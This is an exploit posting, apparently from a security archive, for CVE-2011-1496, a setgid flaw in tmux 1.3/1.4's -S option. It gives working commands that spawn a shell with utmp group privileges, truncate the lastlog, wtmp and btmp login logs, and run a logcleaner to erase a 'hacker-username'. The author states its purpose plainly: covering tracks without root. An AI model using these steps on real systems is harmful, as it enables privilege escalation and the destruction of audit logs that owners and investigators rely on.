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tmux 1.3 / 1.4 Privilege Escalation

tmux 1.3 / 1.4 Privilege Escalation
Posted Apr 11, 2011
Authored by ph0x90bic

tmux versions 1.3 and 1.4 suffer from a -S option incorrect setgid local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2011-1496
SHA-256 | cd885fe8e526cc9f25b3d09ae86f267db6f64ccabdcde1494411eddaa61dea49

tmux 1.3 / 1.4 Privilege Escalation

Change Mirror Download
---------------------------------------
| Team ph0x90bic proudly presents |
| tmux -S 1.3/1.4 local utmp exploit |
---------------------------------------

# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496

---

INTRODUCTION

tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

---

EXPLOIT

Execute shell as utmp group

$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

--

Delete logfiles

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'

--

Use logcleaner software

$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username

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